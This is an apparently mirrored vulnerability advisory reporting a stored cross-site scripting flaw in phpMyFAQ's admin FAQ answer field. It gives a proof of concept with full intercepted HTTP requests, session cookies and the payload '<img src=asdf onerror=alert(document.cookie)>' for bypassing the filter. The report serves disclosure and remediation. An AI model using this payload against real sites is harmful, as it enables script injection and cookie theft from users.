Lucene search

K
huntrChoocsECA2284D-E81A-4AB8-91BB-7AFECA557628
HistoryApr 12, 2023 - 8:29 a.m.

Insufficient Filtering Leads to Stored Cross Site Scripting at FAQ

2023-04-1208:29:36
choocs
www.huntr.dev
5
cross-site scripting
injection
web application
filtering bypass
xss
http request.

0.001 Low

EPSS

Percentile

40.6%

Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

Based on the github commit -> Github Commit Here, it does not properly filter the input of answer value at the FAQ module which we can use another way to bypass the filtering to achieve XSS.

Proof of Concept

Step 1: Go to Add New FAQ

Step 2: Add a FAQ

Step 3: Intercept the request

Original Request

POST /phpmyfaqnew/phpmyfaq/admin/?action=saveentry&id=1 HTTP/1.1

Host: DOMAIN
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 386
Origin: http://DOMAIN
Connection: close
Referer: http://DOMAIN/phpmyfaqnew/phpmyfaq/admin/index.php?action=editentry&id=1&lang=en

Cookie: pmf-csrf-token-4236a440a6=b87cdd3fd8c6d1de681c8b31db7dc6a0; pmf-csrf-token-43e075fa5c=4112ad08e777ea655bdda1432bcbead7; pmf-csrf-token-bdeef9669c=4bbb9d75362140185ed5f75cf0ec1a5a; pmf-csrf-token-b3e2016b52=9f1032e847cd1b8dfb4bf2ffa6fac78f; pmf_sid=6; pmf-csrf-token-cb8b33e854=4c9a133f64f4c91e0dd7176ecb389e34; phpmyfaq_cc_cookie={"categories":["necessary"],"level":["necessary"],"revision":0,"data":null,"rfc_cookie":false,"consent_date":"2023-04-10T08:02:28.700Z","consent_uuid":"88b3118d-69c6-41cb-bc18-18dca9e1ef90","last_consent_update":"2023-04-10T08:02:28.700Z"}; PHPSESSID=ms5d3elu5q7n2tld87bmlqsvaf; phpmyfaq-setup=d9qrapfg2ghlr07u7sneo8sfj9

Upgrade-Insecure-Requests: 1

revision_id=0&record_id=1&openQuestionId=0&notifyUser=&notifyEmail=&pmf-csrf-token=2cabe3dba435b55e8b35b8604f8cd242&question=test&answer=%3Cp%3Etest%3C%2Fp%3E&rubrik%5B%5D=1&lang=en&tags=&keywords=&author=admin&email=admin%40admin.com&grouppermission=all&userpermission=all&restricted_users=1&changed=&notes=&recordDateHandling=on&date=&active=yes&revision=no&comment=y&solution_id=1000

Step 4: We can see the answer value -> %3Cp%3Etest%3C%2Fp%3E

Step 5: Change it to <img+src=asdf+onerror=alert(document.cookie)>

Edited Request

POST /phpmyfaqnew/phpmyfaq/admin/?action=saveentry&id=1 HTTP/1.1

Host: 192.168.93.136
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 386
Origin: http://192.168.93.136
Connection: close
Referer: http://192.168.93.136/phpmyfaqnew/phpmyfaq/admin/index.php?action=editentry&id=1&lang=en

Cookie: pmf-csrf-token-4236a440a6=b87cdd3fd8c6d1de681c8b31db7dc6a0; pmf-csrf-token-43e075fa5c=4112ad08e777ea655bdda1432bcbead7; pmf-csrf-token-bdeef9669c=4bbb9d75362140185ed5f75cf0ec1a5a; pmf-csrf-token-b3e2016b52=9f1032e847cd1b8dfb4bf2ffa6fac78f; pmf_sid=6; pmf-csrf-token-cb8b33e854=4c9a133f64f4c91e0dd7176ecb389e34; phpmyfaq_cc_cookie={"categories":["necessary"],"level":["necessary"],"revision":0,"data":null,"rfc_cookie":false,"consent_date":"2023-04-10T08:02:28.700Z","consent_uuid":"88b3118d-69c6-41cb-bc18-18dca9e1ef90","last_consent_update":"2023-04-10T08:02:28.700Z"}; PHPSESSID=ms5d3elu5q7n2tld87bmlqsvaf; phpmyfaq-setup=d9qrapfg2ghlr07u7sneo8sfj9

Upgrade-Insecure-Requests: 1

revision_id=0&record_id=1&openQuestionId=0&notifyUser=&notifyEmail=&pmf-csrf-token=2cabe3dba435b55e8b35b8604f8cd242&question=test&answer=<img+src=asdf+onerror=alert(document.cookie)>&rubrik%5B%5D=1&lang=en&tags=&keywords=&author=admin&email=admin%40admin.com&grouppermission=all&userpermission=all&restricted_users=1&changed=&notes=&recordDateHandling=on&date=&active=yes&revision=no&comment=y&solution_id=1000

Step 6: Save it

Step 7: Go to the FAQ

Step 8: XSS tiggered!

0.001 Low

EPSS

Percentile

40.6%

Related for ECA2284D-E81A-4AB8-91BB-7AFECA557628